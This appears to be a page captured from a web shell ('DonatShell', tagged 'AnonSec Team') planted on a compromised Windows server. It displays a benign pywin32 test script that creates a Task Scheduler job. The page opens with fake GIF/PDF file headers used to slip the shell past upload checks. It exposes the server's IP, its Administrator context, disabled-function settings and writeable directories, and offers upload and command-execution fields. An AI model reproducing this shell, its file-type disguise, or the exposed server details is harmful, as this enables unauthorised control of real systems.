GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Program Files (x86)/Certbot/pkgs/win32comext/taskscheduler/test/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /Program Files (x86)/Certbot/pkgs/win32comext/taskscheduler/test//test_addtask_1.py
import pythoncom, time, win32api
from win32com.taskscheduler import taskscheduler
test_task_name='test_addtask_1.job'

ts=pythoncom.CoCreateInstance(taskscheduler.CLSID_CTaskScheduler,None,
                              pythoncom.CLSCTX_INPROC_SERVER,taskscheduler.IID_ITaskScheduler)

tasks=ts.Enum()
for task in tasks:
    print(task)
if test_task_name in tasks:
    print('Deleting existing task '+test_task_name)
    ts.Delete(test_task_name)

new_task=pythoncom.CoCreateInstance(taskscheduler.CLSID_CTask,None,
                              pythoncom.CLSCTX_INPROC_SERVER,taskscheduler.IID_ITask)
ts.AddWorkItem(test_task_name,new_task)  ## task object is modified in place

new_task.SetFlags(taskscheduler.TASK_FLAG_INTERACTIVE|taskscheduler.TASK_FLAG_RUN_ONLY_IF_LOGGED_ON)
new_task.SetIdleWait(1,10000)
new_task.SetComment('test task with idle trigger')
new_task.SetApplicationName('c:\\python23\\python.exe')
new_task.SetPriority(taskscheduler.REALTIME_PRIORITY_CLASS)
new_task.SetParameters('-c"import win32ui,time;win32ui.MessageBox(\'why aint you doing no work ?\');"')
new_task.SetWorkingDirectory('c:\\python23')
new_task.SetCreator('test_addtask_1.py')
new_task.SetAccountInformation(win32api.GetUserName(),None)
## None is only valid for local system acct or if Flags contain TASK_FLAG_RUN_ONLY_IF_LOGGED_ON


run_time = time.localtime(time.time() + 30)
end_time = time.localtime(time.time() + 60*60*24)

tr_ind, tr=new_task.CreateTrigger()
tt=tr.GetTrigger()
tt.TriggerType=taskscheduler.TASK_EVENT_TRIGGER_ON_IDLE
tt.Flags=taskscheduler.TASK_TRIGGER_FLAG_HAS_END_DATE

tt.BeginYear=int(time.strftime('%Y',run_time))
tt.BeginMonth=int(time.strftime('%m',run_time))
tt.BeginDay=int(time.strftime('%d',run_time))
tt.StartMinute=int(time.strftime('%M',run_time))
tt.StartHour=int(time.strftime('%H',run_time))

tt.EndYear=int(time.strftime('%Y',end_time))
tt.EndMonth=int(time.strftime('%m',end_time))
tt.EndDay=int(time.strftime('%d',end_time))

tr.SetTrigger(tt)
print(new_task.GetTriggerString(tr_ind))

pf=new_task.QueryInterface(pythoncom.IID_IPersistFile)
pf.Save(None,1)

Anon7 - 2022
AnonSec Team